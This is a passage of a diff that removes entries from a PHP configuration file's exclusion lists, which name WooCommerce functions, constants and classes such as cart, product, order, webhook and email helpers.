'wc_empty_cart_message', - 556 => 'wc_page_noindex', - 557 => 'wc_page_no_robots', - 558 => 'wc_get_theme_slug_for_templates', - 559 => 'wc_get_formatted_cart_item_data', - 560 => 'wc_get_cart_remove_url', - 561 => 'wc_get_cart_undo_url', - 562 => 'woocommerce_output_all_notices', - 563 => 'wc_get_pay_buttons', - 564 => 'wc_update_product_archive_title', - 565 => 'wc_set_hooked_blocks_version', - 566 => 'wc_after_switch_theme', - 567 => 'wc_update_store_notice_visible_on_theme_switch', - 568 => 'wc_set_hooked_blocks_version_on_theme_switch', - 569 => 'wc_add_aria_label_to_pagination_numbers', - 570 => 'wc_get_quantity_input_args', - 571 => 'wc_webhook_execute_queue', - 572 => 'wc_webhook_process_delivery', - 573 => 'wc_deliver_webhook_async', - 574 => 'wc_is_webhook_valid_topic', - 575 => 'wc_is_webhook_valid_status', - 576 => 'wc_get_webhook_statuses', - 577 => 'wc_load_webhooks', - 578 => 'wc_get_webhook', - 579 => 'wc_get_webhook_rest_api_versions', - 580 => 'wc_protected_product_add_to_cart', - 581 => 'wc_empty_cart', - 582 => 'wc_get_raw_referer', - 583 => 'wc_add_to_cart_message', - 584 => 'wc_format_list_of_items', - 585 => 'wc_clear_cart_after_payment', - 586 => 'wc_cart_totals_subtotal_html', - 587 => 'wc_cart_totals_shipping_html', - 588 => 'wc_cart_totals_taxes_total_html', - 589 => 'wc_cart_totals_coupon_label', - 590 => 'wc_cart_totals_coupon_html', - 591 => 'wc_cart_totals_order_total_html', - 592 => 'wc_cart_totals_fee_html', - 593 => 'wc_cart_totals_shipping_method_label', - 594 => 'wc_cart_round_discount', - 595 => 'wc_get_chosen_shipping_method_ids', - 596 => 'wc_get_chosen_shipping_method_for_package', - 597 => 'wc_get_default_shipping_method_for_package', - 598 => 'wc_shipping_methods_have_changed', - 599 => 'wc_get_cart_item_data_hash', - 600 => 'wc_admin_connect_page', - 601 => 'wc_admin_register_page', - 602 => 'wc_admin_is_connected_page', - 603 => 'wc_admin_is_registered_page', - 604 => 'wc_admin_get_breadcrumbs', - 605 => 'wc_admin_update_0201_order_status_index', - 606 => 'wc_admin_update_0230_rename_gross_total', - 607 => 'wc_admin_update_0251_remove_unsnooze_action', - 608 => 'wc_admin_update_110_remove_facebook_note', - 609 => 'wc_admin_update_130_remove_dismiss_action_from_tracking_opt_in_note', - 610 => 'wc_admin_update_130_db_version', - 611 => 'wc_admin_update_140_db_version', - 612 => 'wc_admin_update_160_remove_facebook_note', - 613 => 'wc_admin_update_170_homescreen_layout', - 614 => 'wc_admin_update_270_delete_report_downloads', - 615 => 'wc_admin_update_271_update_task_list_options', - 616 => 'wc_admin_update_280_order_status', - 617 => 'wc_admin_update_290_update_apperance_task_option', - 618 => 'wc_admin_update_290_delete_default_homepage_layout_option', - 619 => 'wc_admin_update_300_update_is_read_from_last_read', - 620 => 'wc_admin_update_340_remove_is_primary_from_note_action', - 621 => 'wc_update_670_delete_deprecated_remote_inbox_notifications_option', - 622 => 'wc_update_1040_add_idx_date_paid_status_parent', - 623 => 'wc_update_1050_add_idx_user_email', - 624 => 'wc_admin_get_feature_config', - 625 => 'wc_admin_get_core_pages_to_connect', - 626 => 'wc_admin_filter_core_page_breadcrumbs', - 627 => 'wc_admin_connect_core_pages', - 628 => 'wc_admin_number_format', - 629 => 'wc_admin_url', - 630 => 'wc_admin_record_tracks_event', - 631 => 'wc_get_products', - 632 => 'wc_get_product', - 633 => 'wc_get_product_object', - 634 => 'wc_product_sku_enabled', - 635 => 'wc_product_weight_enabled', - 636 => 'wc_product_dimensions_enabled', - 637 => 'wc_delete_product_transients', - 638 => 'wc_delete_related_product_transients', - 639 => 'wc_get_product_ids_on_sale', - 640 => 'wc_get_featured_product_ids', - 641 => 'wc_product_post_type_link', - 642 => 'wc_product_canonical_redirect', - 643 => 'wc_placeholder_img_src', - 644 => 'wc_placeholder_img', - 645 => 'wc_get_formatted_variation', - 646 => 'wc_schedule_product_sale_events', - 647 => 'wc_apply_sale_state_for_product', - 648 => 'wc_handle_product_start_scheduled_sale', - 649 => 'wc_handle_product_end_scheduled_sale', - 650 => 'wc_maybe_schedule_product_sale_events', - 651 => 'wc_maybe_schedule_sale_events_on_meta_change', - 652 => 'wc_scheduled_sales', - 653 => 'wc_get_attachment_image_attributes', - 654 => 'wc_prepare_attachment_for_js', - 655 => 'wc_track_product_view', - 656 => 'wc_get_product_types', - 657 => 'wc_product_has_unique_sku', - 658 => 'wc_product_has_global_unique_id', - 659 => 'wc_product_force_unique_sku', - 660 => 'wc_product_generate_unique_sku', - 661 => 'wc_get_product_id_by_sku', - 662 => 'wc_get_product_id_by_global_unique_id', - 663 => 'wc_get_product_variation_attributes', - 664 => 'wc_get_product_cat_ids', - 665 => 'wc_get_product_attachment_props', - 666 => 'wc_get_product_visibility_options', - 667 => 'wc_get_product_tax_class_options', - 668 => 'wc_get_product_stock_status_options', - 669 => 'wc_get_product_backorder_options', - 670 => 'wc_get_related_products', - 671 => 'wc_get_product_term_ids', - 672 => 'wc_get_price_including_tax', - 673 => 'wc_get_price_excluding_tax', - 674 => 'wc_get_price_to_display', - 675 => 'wc_get_product_category_list', - 676 => 'wc_get_product_tag_list', - 677 => 'wc_products_array_filter_visible', - 678 => 'wc_products_array_filter_visible_grouped', - 679 => 'wc_products_array_filter_editable', - 680 => 'wc_products_array_filter_readable', - 681 => 'wc_products_array_orderby', - 682 => 'wc_products_array_orderby_title', - 683 => 'wc_products_array_orderby_id', - 684 => 'wc_products_array_orderby_date', - 685 => 'wc_products_array_orderby_modified', - 686 => 'wc_products_array_orderby_menu_order', - 687 => 'wc_products_array_orderby_price', - 688 => 'wc_deferred_product_sync', - 689 => 'wc_update_product_lookup_tables_is_running', - 690 => 'wc_update_product_lookup_tables', - 691 => 'wc_update_product_lookup_tables_column', - 692 => 'wc_update_product_lookup_tables_rating_count', - 693 => 'wc_update_product_lookup_tables_rating_count_batch', - 694 => 'wc_product_attach_featured_image', - 695 => 'wc_page_endpoint_title', - 696 => 'wc_page_endpoint_document_title_parts', - 697 => 'wc_get_page_id', - 698 => 'wc_get_page_permalink', - 699 => 'wc_get_endpoint_url', - 700 => 'wc_get_review_order_url', - 701 => 'wc_nav_menu_items', - 702 => 'wc_nav_menu_inner_blocks', - 703 => 'wc_nav_menu_item_classes', - 704 => 'wc_list_pages', - 705 => 'wc_get_text_attributes', - 706 => 'wc_get_text_attributes_filter_callback', - 707 => 'wc_implode_text_attributes', - 708 => 'wc_get_attribute_taxonomies', - 709 => 'wc_get_attribute_taxonomy_ids', - 710 => 'wc_get_attribute_taxonomy_labels', - 711 => 'wc_attribute_taxonomy_name', - 712 => 'wc_variation_attribute_name', - 713 => 'wc_attribute_taxonomy_name_by_id', - 714 => 'wc_attribute_taxonomy_id_by_name', - 715 => 'wc_attribute_label', - 716 => 'wc_attribute_orderby', - 717 => 'wc_get_attribute_taxonomy_names', - 718 => 'wc_get_attribute_types', - 719 => 'wc_has_custom_attribute_types', - 720 => 'wc_get_attribute_type_label', - 721 => 'wc_check_if_attribute_name_is_reserved', - 722 => 'wc_attributes_array_filter_visible', - 723 => 'wc_attributes_array_filter_variation', - 724 => 'wc_is_attribute_in_product_name', - 725 => 'wc_array_filter_default_attributes', - 726 => 'wc_get_attribute', - 727 => 'wc_create_attribute', - 728 => 'wc_update_attribute', - 729 => 'wc_delete_attribute', - 730 => 'wc_attribute_taxonomy_slug', - 731 => 'is_woocommerce', - 732 => 'is_shop', - 733 => 'is_product_taxonomy', - 734 => 'is_product_category', - 735 => 'is_product_tag', - 736 => 'is_product', - 737 => 'is_cart', - 738 => 'is_checkout', - 739 => 'is_checkout_pay_page', - 740 => 'is_wc_endpoint_url', - 741 => 'is_account_page', - 742 => 'is_view_order_page', - 743 => 'is_edit_account_page', - 744 => 'is_order_received_page', - 745 => 'is_payment_methods_page', - 746 => 'is_add_payment_method_page', - 747 => 'is_lost_password_page', - 748 => 'is_wc_admin_settings_page', - 749 => 'is_ajax', - 750 => 'is_store_notice_showing', - 751 => 'is_filtered', - 752 => 'taxonomy_is_product_attribute', - 753 => 'meta_is_product_attribute', - 754 => 'wc_tax_enabled', - 755 => 'wc_shipping_enabled', - 756 => 'wc_prices_include_tax', - 757 => 'wc_is_valid_url', - 758 => 'wc_site_is_https', - 759 => 'wc_checkout_is_https', - 760 => 'wc_post_content_has_shortcode', - 761 => 'wc_reviews_enabled', - 762 => 'wc_review_ratings_enabled', - 763 => 'wc_review_ratings_required', - 764 => 'wc_is_file_valid_csv', - 765 => 'wc_current_theme_is_fse_theme', - 766 => 'wc_current_theme_supports_woocommerce_or_fse', - 767 => 'wc_wp_theme_get_element_class_name', - 768 => 'wc_block_theme_has_styles_for_element', - 769 => 'wc_register_widgets', - 770 => 'wc_get_coupon_types', - 771 => 'wc_get_coupon_type', - 772 => 'wc_get_product_coupon_types', - 773 => 'wc_get_cart_coupon_types', - 774 => 'wc_coupons_enabled', - 775 => 'wc_is_same_coupon', - 776 => 'wc_get_coupon_code_by_id', - 777 => 'wc_get_coupon_id_by_code', - 778 => 'wc_repair_zero_discount_coupons_lookup_table', - 779 => 'wc_string_to_bool', - 780 => 'wc_bool_to_string', - 781 => 'wc_string_to_array', - 782 => 'wc_sanitize_taxonomy_name', - 783 => 'wc_sanitize_permalink', - 784 => 'wc_get_filename_from_url', - 785 => 'wc_get_dimension', - 786 => 'wc_get_weight', - 787 => 'wc_trim_zeros', - 788 => 'wc_round_tax_total', - 789 => 'wc_legacy_round_half_down', - 790 => 'wc_format_refund_total', - 791 => 'wc_format_decimal', - 792 => 'wc_float_to_string', - 793 => 'wc_format_localized_price', - 794 => 'wc_format_localized_decimal', - 795 => 'wc_format_coupon_code', - 796 => 'wc_sanitize_coupon_code', - 797 => 'wc_clean', - 798 => 'wc_check_invalid_utf8', - 799 => 'wc_sanitize_textarea', - 800 => 'wc_sanitize_tooltip', - 801 => 'wc_array_overlay', - 802 => 'wc_stock_amount', - 803 => 'wc_is_stock_amount_integer', - 804 => 'get_woocommerce_price_format', - 805 => 'wc_get_price_thousand_separator', - 806 => 'wc_get_price_decimal_separator', - 807 => 'wc_get_price_decimals', - 808 => 'wc_price', - 809 => 'wc_let_to_num', - 810 => 'wc_date_format', - 811 => 'wc_time_format', - 812 => 'wc_string_to_timestamp', - 813 => 'wc_string_to_datetime', - 814 => 'wc_timezone_string', - 815 => 'wc_timezone_offset', - 816 => 'wc_flatten_meta_callback', - 817 => 'wc_rgb_from_hex', - 818 => 'wc_hex_darker', - 819 => 'wc_hex_lighter', - 820 => 'wc_hex_is_light', - 821 => 'wc_light_or_dark', - 822 => 'wc_format_hex', - 823 => 'wc_format_postcode', - 824 => 'wc_normalize_postcode', - 825 => 'wc_format_phone_number', - 826 => 'wc_sanitize_phone_number', - 827 => 'wc_strtoupper', - 828 => 'wc_strtolower', - 829 => 'wc_trim_string', - 830 => 'wc_format_content', - 831 => 'wc_format_product_short_description', - 832 => 'wc_format_option_price_separators', - 833 => 'wc_format_option_price_num_decimals', - 834 => 'wc_format_option_hold_stock_minutes', - 835 => 'wc_sanitize_term_text_based', - 836 => 'wc_make_numeric_postcode', - 837 => 'wc_format_stock_for_display', - 838 => 'wc_format_stock_quantity_for_display', - 839 => 'wc_format_sale_price', - 840 => 'wc_format_price_range', - 841 => 'wc_format_weight', - 842 => 'wc_format_dimensions', - 843 => 'wc_format_datetime', - 844 => 'wc_do_oembeds', - 845 => 'wc_get_string_before_colon', - 846 => 'wc_array_merge_recursive_numeric', - 847 => 'wc_implode_html_attributes', - 848 => 'wc_esc_json', - 849 => 'wc_parse_relative_date_option', - 850 => 'wc_sanitize_endpoint_slug', - 851 => 'wc_remove_non_displayable_chars', - 852 => 'wc_get_orders', - 853 => 'wc_get_order', - 854 => 'wc_get_order_statuses', - 855 => 'wc_is_order_status', - 856 => 'wc_get_is_paid_statuses', - 857 => 'wc_get_is_pending_statuses', - 858 => 'wc_get_order_status_name', - 859 => 'wc_generate_order_key', - 860 => 'wc_get_order_id_by_order_key', - 861 => 'wc_get_order_types', - 862 => 'wc_get_order_type', - 863 => 'wc_register_order_type', - 864 => 'wc_processing_order_count', - 865 => 'wc_orders_count', - 866 => 'wc_downloadable_file_permission', - 867 => 'wc_downloadable_product_permissions', - 868 => 'wc_delete_shop_order_transients', - 869 => 'wc_ship_to_billing_address_only', - 870 => 'wc_create_refund', - 871 => 'wc_refund_payment', - 872 => 'wc_restock_refunded_items', - 873 => 'wc_get_tax_class_by_tax_id', - 874 => 'wc_get_payment_gateway_by_order', - 875 => 'wc_order_fully_refunded', - 876 => 'wc_order_search', - 877 => 'wc_update_total_sales_counts', - 878 => 'wc_update_coupon_usage_counts', - 879 => 'wc_cancel_unpaid_orders', - 880 => 'wc_sanitize_order_id', - 881 => 'wc_get_order_note', - 882 => 'wc_get_order_notes', - 883 => 'wc_create_order_note', - 884 => 'wc_delete_order_note', - 885 => 'wc_wptexturize_order_note', - 886 => 'wc_notice_count', - 887 => 'wc_has_notice', - 888 => 'wc_add_notice', - 889 => 'wc_set_notices', - 890 => 'wc_clear_notices', - 891 => 'wc_print_notices', - 892 => 'wc_print_notice', - 893 => 'wc_get_notices', - 894 => 'wc_add_wp_error_notices', - 895 => 'wc_kses_notice', - 896 => 'wc_get_notice_data_attr', - 897 => 'wc_maybe_define_constant', - 898 => 'wc_create_order', - 899 => 'wc_update_order', - 900 => 'wc_tokenize_path', - 901 => 'wc_untokenize_path', - 902 => 'wc_get_path_define_tokens', - 903 => 'wc_get_template_part', - 904 => 'wc_get_template', - 905 => 'wc_get_template_html', - 906 => 'wc_locate_template', - 907 => 'wc_set_template_cache', - 908 => 'wc_clear_template_cache', - 909 => 'wc_clear_system_status_theme_info_cache', - 910 => 'get_woocommerce_currency', - 911 => 'get_woocommerce_currencies', - 912 => 'get_woocommerce_currency_symbols', - 913 => 'get_woocommerce_currency_symbol', - 914 => 'wc_mail', - 915 => 'wc_get_theme_support', - 916 => 'wc_get_image_size', - 917 => 'wc_enqueue_js', - 918 => 'wc_print_js', - 919 => 'wc_setcookie', - 920 => 'wc_get_page_children', - 921 => 'flush_rewrite_rules_on_shop_page_save', - 922 => 'wc_fix_rewrite_rules', - 923 => 'wc_fix_product_attachment_link', - 924 => 'wc_ms_protect_download_rewite_rules', - 925 => 'wc_format_country_state_string', - 926 => 'wc_get_base_location', - 927 => 'wc_get_customer_geolocation', - 928 => 'wc_get_customer_default_location', - 929 => 'wc_get_user_agent', - 930 => 'wc_rand_hash', - 931 => 'wc_api_hash', - 932 => 'wc_array_cartesian', - 933 => 'wc_transaction_query', - 934 => 'wc_get_cart_url', - 935 => 'wc_get_checkout_url', - 936 => 'woocommerce_register_shipping_method', - 937 => 'wc_get_shipping_zone', - 938 => 'wc_get_credit_card_type_label', - 939 => 'wc_back_link', - 940 => 'wc_back_header', - 941 => 'wc_help_tip', - 942 => 'wc_get_wildcard_postcodes', - 943 => 'wc_postcode_location_matcher', - 944 => 'wc_get_shipping_method_count', - 945 => 'wc_set_time_limit', - 946 => 'wc_nocache_headers', - 947 => 'wc_product_attribute_uasort_comparison', - 948 => 'wc_shipping_zone_method_order_uasort_comparison', - 949 => 'wc_checkout_fields_uasort_comparison', - 950 => 'wc_uasort_comparison', - 951 => 'wc_ascii_uasort_comparison', - 952 => 'wc_asort_by_locale', - 953 => 'wc_get_tax_rounding_mode', - 954 => 'wc_get_rounding_precision', - 955 => 'wc_add_number_precision', - 956 => 'wc_remove_number_precision', - 957 => 'wc_add_number_precision_deep', - 958 => 'wc_remove_number_precision_deep', - 959 => 'wc_get_logger', - 960 => 'wc_cleanup_logs', - 961 => 'wc_print_r', - 962 => 'wc_list_pluck', - 963 => 'wc_get_permalink_structure', - 964 => 'wc_switch_to_site_locale', - 965 => 'wc_restore_locale', - 966 => 'wc_make_phone_clickable', - 967 => 'wc_get_post_data_by_key', - 968 => 'wc_get_var', - 969 => 'wc_enable_wc_plugin_headers', - 970 => 'wc_prevent_dangerous_auto_updates', - 971 => 'wc_delete_expired_transients', - 972 => 'wc_get_relative_url', - 973 => 'wc_is_external_resource', - 974 => 'wc_is_active_theme', - 975 => 'wc_is_wp_default_theme_active', - 976 => 'wc_cleanup_session_data', - 977 => 'wc_decimal_to_fraction', - 978 => 'wc_round_discount', - 979 => 'wc_selected', - 980 => 'wc_get_server_database_version', - 981 => 'wc_load_cart', - 982 => 'wc_is_running_from_async_action_scheduler', - 983 => 'wc_cache_get_multiple', - 984 => '_wc_delete_transients', - 985 => 'fdiv', - 986 => 'preg_last_error_msg', - 987 => 'str_contains', - 988 => 'str_starts_with', - 989 => 'str_ends_with', - 990 => 'get_debug_type', - 991 => 'get_resource_id', - 992 => 'as_enqueue_async_action', - 993 => 'as_schedule_single_action', - 994 => 'as_schedule_recurring_action', - 995 => 'as_schedule_cron_action', - 996 => 'as_unschedule_action', - 997 => 'as_unschedule_all_actions', - 998 => 'as_next_scheduled_action', - 999 => 'as_has_scheduled_action', - 1000 => 'as_get_scheduled_actions', - 1001 => 'as_get_datetime_object', - 1002 => 'as_supports', - 1003 => 'action_scheduler_register_3_dot_9_dot_3', - 1004 => 'action_scheduler_initialize_3_dot_9_dot_3', - 1005 => 'wc_schedule_single_action', - 1006 => 'wc_schedule_recurring_action', - 1007 => 'wc_schedule_cron_action', - 1008 => 'wc_unschedule_action', - 1009 => 'wc_next_scheduled_action', - 1010 => 'wc_get_scheduled_actions', - 1018 => 'woocommerce_register_additional_checkout_field', - 1019 => '__experimental_woocommerce_blocks_register_checkout_field', - 1020 => '__internal_woocommerce_blocks_deregister_checkout_field', - 1021 => 'woocommerce_store_api_register_endpoint_data', - 1022 => 'woocommerce_store_api_register_update_callback', - 1023 => 'woocommerce_store_api_register_payment_requirements', - 1024 => 'woocommerce_store_api_get_formatter', - ), - 'exclude-constants' => - array ( - 0 => 'WC_PLUGIN_FILE', - 1 => 'WC_CHUNK_SIZE', - 2 => 'WP_POST_REVISIONS', - 4 => 'FILTER_VALIDATE_BOOL', - 6 => 'WC_ADMIN_PACKAGE_EXISTS', - 7 => 'WC_ADMIN_IMAGES_FOLDER_URL', - 8 => 'WC_ADMIN_VERSION_NUMBER', - ), - 'exclude-classes' => - array ( - 0 => 'WC_Blocks_Utils', - 1 => 'WC_REST_Authentication', - 2 => 'WC_Countries', - 3 => 'WC_Template_Loader', - 4 => 'WC_Order', - 5 => 'WC_Order_Query', - 6 => 'WC_Install', - 7 => 'WC_WCCOM_Site_Installer', - 8 => 'WC_WCCOM_Site', - 9 => 'WC_WCCOM_Site_Installation_Step_Download_Product', - 10 => 'WC_WCCOM_Site_Installation_Step_Activate_Product', - 11 => 'WC_WCCOM_Site_Installation_Step_Move_Product', - 12 => 'WC_WCCOM_Site_Installation_Step_Unpack_Product', - 13 => 'WC_WCCOM_Site_Installation_Step', - 14 => 'WC_WCCOM_Site_Installation_Step_Get_Product_Info', - 15 => 'WC_WCCOM_Site_Installation_State', - 16 => 'WC_WCCOM_Site_Installation_Manager', - 17 => 'WC_WCCOM_Site_Installation_State_Storage', - 18 => 'WC_REST_WCCOM_Site_Installer_Error', - 19 => 'WC_REST_WCCOM_Site_Controller', - 20 => 'WC_REST_WCCOM_Site_SSR_Controller', - 21 => 'WC_REST_WCCOM_Site_Connection_Controller', - 22 => 'WC_REST_WCCOM_Site_Installer_Controller', - 23 => 'WC_REST_WCCOM_Site_Status_Controller', - 24 => 'WC_REST_WCCOM_Site_Installer_Error_Codes', - 25 => 'WC_Brands_Brand_Settings_Manager', - 26 => 'WC_Structured_Data', - 27 => 'WC_Order_Item_Product', - 28 => 'WC_Customer', - 29 => 'WC_Privacy_Exporters', - 30 => 'WC_Order_Item_Tax', - 31 => 'WC_Payment_Gateways', - 32 => 'WC_Item_Totals', - 33 => 'WooCommerce', - 34 => 'WC_Regenerate_Images', - 35 => 'WC_Meta_Data', - 36 => 'WC_Product_Simple', - 37 => 'WC_Rate_Limiter', - 38 => 'WC_Shortcodes', - 39 => 'WC_Customizer_Control_Cropping', - 40 => 'WC_Shop_Customizer', - 41 => 'WC_Product_Download', - 42 => 'WC_Email_Customer_Fulfillment_Updated', - 43 => 'WC_Email_Customer_New_Account', - 44 => 'WC_Email_Customer_Review_Request', - 45 => 'WC_Email', - 46 => 'WC_Email_Admin_Payment_Gateway_Enabled', - 47 => 'WC_Email_Customer_Processing_Order', - 48 => 'WC_Email_New_Order', - 49 => 'WC_Email_Customer_Note', - 50 => 'WC_Email_Customer_On_Hold_Order', - 51 => 'WC_Email_Customer_Fulfillment_Created', - 52 => 'WC_Email_Customer_Partially_Refunded_Order', - 53 => 'WC_Email_Customer_POS_Completed_Order', - 54 => 'WC_Email_Customer_Reset_Password', - 55 => 'WC_Email_Customer_POS_Refunded_Order', - 56 => 'WC_Email_Customer_Completed_Order', - 57 => 'WC_Email_Failed_Order', - 58 => 'WC_Email_Customer_Failed_Order', - 59 => 'WC_Email_Customer_Invoice', - 60 => 'WC_Email_Customer_Cancelled_Order', - 61 => 'WC_Email_Cancelled_Order', - 62 => 'WC_Email_Customer_Refunded_Order', - 63 => 'WC_Email_Customer_Fulfillment_Deleted', - 64 => 'WC_Background_Updater', - 65 => 'WC_Customer_Download', - 66 => 'WC_Integrations', - 67 => 'WC_HTTPS', - 68 => 'WC_Twenty_Ten', - 69 => 'WC_Twenty_Thirteen', - 70 => 'WC_Twenty_Fifteen', - 71 => 'WC_Twenty_Twelve', - 72 => 'WC_Twenty_Twenty', - 73 => 'WC_Twenty_Twenty_Three', - 74 => 'WC_Twenty_Fourteen', - 75 => 'WC_Twenty_Seventeen', - 76 => 'WC_Twenty_Twenty_Two', - 77 => 'WC_Twenty_Sixteen', - 78 => 'WC_Twenty_Twenty_One', - 79 => 'WC_Twenty_Eleven', - 80 => 'WC_Twenty_Nineteen', - 81 => 'WC_Tax', - 82 => 'WC_Settings_Emails', - 83 => 'WC_Settings_Page', - 84 => 'WC_Settings_Tax', - 85 => 'WC_Settings_Shipping', - 86 => 'WC_Settings_Point_Of_Sale', - 87 => 'WC_Settings_Advanced', - 88 => 'WC_Settings_Rest_API', - 89 => 'WC_Settings_Products', - 90 => 'WC_Settings_Payment_Gateways', - 91 => 'WC_Settings_Integrations', - 92 => 'WC_Settings_Accounts', - 93 => 'WC_Settings_General', - 94 => 'WC_Settings_Site_Visibility', - 95 => 'WC_Brands_Admin', - 96 => 'WC_Admin_Addons', - 97 => 'WC_Admin_Notices', - 98 => 'WC_Admin_Importers', - 99 => 'WC_Admin_Upload_Downloadable_Product', - 100 => 'WC_Admin_Marketplace_Promotions', - 101 => 'WC_Admin_Help', - 102 => 'WC_Tax_Rate_Importer', - 103 => 'WC_Product_CSV_Importer_Controller', - 104 => 'WC_Admin_Webhooks_Table_List', - 105 => 'WC_Admin_Attributes', - 106 => 'WC_Admin_Webhooks', - 107 => 'WC_Admin_Settings', - 108 => 'WC_Admin_Reports', - 109 => 'WC_Admin_Customize', - 110 => 'WC_Admin_Status', - 111 => 'WC_Admin_Duplicate_Product', - 112 => 'WC_Admin_API_Keys', - 113 => 'WC_Admin_List_Table_Products', - 114 => 'WC_Admin_List_Table_Coupons', - 115 => 'WC_Admin_List_Table_Orders', - 116 => 'WC_Admin_List_Table', - 117 => 'WC_Admin_Post_Types', - 118 => 'WC_Admin_API_Keys_Table_List', - 119 => 'WC_Notes_Refund_Returns', - 120 => 'WC_Notes_Run_Db_Update', - 121 => 'WC_Admin_Menus', - 122 => 'WC_Marketplace_Suggestions', - 123 => 'WC_Marketplace_Updater', - 124 => 'WC_Admin_Taxonomies', - 125 => 'WC_Admin_Pointers', - 126 => 'WC_Admin_Exporters', - 127 => 'WC_Admin_Setup_Wizard', - 128 => 'WC_Admin_Dashboard', - 129 => 'WC_Admin_Meta_Boxes', - 130 => 'WC_Admin_Log_Table_List', - 131 => 'WC_Plugins_Screen_Updates', - 132 => 'WC_Plugin_Updates', - 133 => 'WC_Updates_Screen_Updates', - 134 => 'WC_Admin_Dashboard_Setup', - 135 => 'WC_Admin_Permalink_Settings', - 136 => 'WC_Admin_Assets', - 137 => 'WC_Helper_Subscriptions_API', - 138 => 'WC_Helper_Compat', - 139 => 'WC_Helper_Sanitization', - 140 => 'WC_Helper_Updater', - 141 => 'WC_Product_Usage_Notice', - 142 => 'WC_Woo_Helper_Connection', - 143 => 'WC_Helper_Admin', - 144 => 'WC_Helper_API', - 145 => 'WC_Helper', - 146 => 'WC_Helper_Options', - 147 => 'WC_Plugin_Api_Updater', - 148 => 'WC_Woo_Update_Manager_Plugin', - 149 => 'WC_Helper_Orders_API', - 150 => 'WC_Admin_Profile', - 151 => 'WC_Meta_Box_Order_Actions', - 152 => 'WC_Meta_Box_Product_Reviews', - 153 => 'WC_Meta_Box_Product_Data', - 154 => 'WC_Meta_Box_Product_Categories', - 155 => 'WC_Meta_Box_Product_Images', - 156 => 'WC_Meta_Box_Order_Data', - 157 => 'WC_Meta_Box_Product_Short_Description', - 158 => 'WC_Meta_Box_Order_Items', - 159 => 'WC_Meta_Box_Order_Downloads', - 160 => 'WC_Meta_Box_Coupon_Data', - 161 => 'WC_Meta_Box_Order_Notes', - 162 => 'WC_Report_Downloads', - 163 => 'WC_Report_Taxes_By_Date', - 164 => 'WC_Report_Coupon_Usage', - 165 => 'WC_Report_Low_In_Stock', - 166 => 'WC_Report_Sales_By_Product', - 167 => 'WC_Report_Stock', - 168 => 'WC_Report_Sales_By_Date', - 169 => 'WC_Report_Customers', - 170 => 'WC_Report_Out_Of_Stock', - 171 => 'WC_Report_Customer_List', - 172 => 'WC_Report_Taxes_By_Code', - 173 => 'WC_Report_Sales_By_Category', - 174 => 'WC_Report_Most_Stocked', - 175 => 'WC_Admin_Report', - 176 => 'WC_Admin', - 177 => 'WC_Download_Handler', - 178 => 'WC_Frontend_Scripts', - 179 => 'WC_Geolite_Integration', - 180 => 'WC_Abstract_Legacy_Order', - 181 => 'WC_Legacy_Shipping_Zone', - 182 => 'WC_Legacy_Customer', - 183 => 'WC_Legacy_Coupon', - 184 => 'WC_Legacy_Webhook', - 185 => 'WC_Legacy_Payment_Token', - 186 => 'WC_Abstract_Legacy_Product', - 187 => 'WC_Legacy_Cart', - 188 => 'WP_Async_Request', - 189 => 'WP_Background_Process', - 190 => 'WC_Eval_Math', - 191 => 'WC_Eval_Math_Stack', - 192 => 'WC_Tracks_Footer_Pixel', - 193 => 'WC_Tracks', - 194 => 'WC_Tracks_Event', - 195 => 'WC_Site_Tracking', - 196 => 'WC_Tracks_Client', - 197 => 'WC_Extensions_Tracking', - 198 => 'WC_Settings_Tracking', - 199 => 'WC_Admin_Setup_Wizard_Tracking', - 200 => 'WC_Status_Tracking', - 201 => 'WC_Coupons_Tracking', - 202 => 'WC_Importer_Tracking', - 203 => 'WC_Orders_Tracking', - 204 => 'WC_Theme_Tracking', - 205 => 'WC_Order_Tracking', - 206 => 'WC_Product_Collection_Block_Tracking', - 207 => 'WC_Coupon_Tracking', - 208 => 'WC_Products_Tracking', - 209 => 'WC_Product_Variable', - 210 => 'WC_Logger', - 211 => 'WC_Geolocation', - 212 => 'WC_Customer_Download_Log', - 213 => 'WC_Brands', - 214 => 'WC_Shipping_Flat_Rate', - 215 => 'WC_Shipping_Free_Shipping', - 216 => 'WC_Shipping_Legacy_Free_Shipping', - 217 => 'WC_Shipping_Legacy_Local_Pickup', - 218 => 'WC_Shipping_Legacy_Local_Delivery', - 219 => 'WC_Shipping_Local_Pickup', - 220 => 'WC_Shipping_Legacy_International_Delivery', - 221 => 'WC_Shipping_Legacy_Flat_Rate', - 222 => 'WC_CLI_Update_Command', - 223 => 'WC_CLI_REST_Command', - 224 => 'WC_CLI_Runner', - 225 => 'WC_CLI_Tool_Command', - 226 => 'WC_CLI_COM_Command', - 227 => 'WC_CLI_Tracker_Command', - 228 => 'WC_CLI_COM_Extension_Command', - 229 => 'WC_Privacy_Erasers', - 230 => 'WC_Product_External', - 231 => 'WC_Product_Variation', - 232 => 'WC_Payment_Tokens', - 233 => 'WC_Product_Query', - 234 => 'WC_Cart_Totals', - 235 => 'WC_Shortcode_Order_Tracking', - 236 => 'WC_Shortcode_Checkout', - 237 => 'WC_Shortcode_My_Account', - 238 => 'WC_Shortcode_Products', - 239 => 'WC_Shortcode_Cart', - 240 => 'WC_Order_Item_Shipping', - 241 => 'WC_Validation', - 242 => 'WC_Product_Usage', - 243 => 'WC_Product_Usage_Rule_Set', - 244 => 'WC_Integration_MaxMind_Geolocation', - 245 => 'WC_Integration_MaxMind_Database_Service', - 246 => 'WC_Post_Types', - 247 => 'WC_Privacy_Background_Process', - 248 => 'WC_Product', - 249 => 'WC_Payment_Token', - 250 => 'WC_Abstract_Order', - 251 => 'WC_Deprecated_Hooks', - 252 => 'WC_Object_Query', - 253 => 'WC_Widget', - 254 => 'WC_Background_Process', - 255 => 'WC_Session', - 256 => 'WC_Settings_API', - 257 => 'WC_Shipping_Method', - 258 => 'WC_Log_Handler', - 259 => 'WC_Payment_Gateway', - 260 => 'WC_Address_Provider', - 261 => 'WC_Integration', - 262 => 'WC_Data', - 263 => 'WC_Abstract_Privacy', - 264 => 'WC_Shipping', - 265 => 'WC_Cart_Fees', - 266 => 'WC_Shipping_Zone', - 267 => 'WC_Coupon', - 268 => 'WC_Product_Cat_Dropdown_Walker', - 269 => 'WC_Product_Cat_List_Walker', - 270 => 'WC_Post_Data', - 271 => 'WC_Log_Handler_Email', - 272 => 'WC_Log_Handler_File', - 273 => 'WC_Log_Handler_DB', - 274 => 'WC_DateTime', - 275 => 'WC_Autoloader', - 276 => 'WC_Emails', - 277 => 'WC_Data_Store', - 278 => 'WC_Webhook', - 279 => 'WC_Payment_Token_Data_Store', - 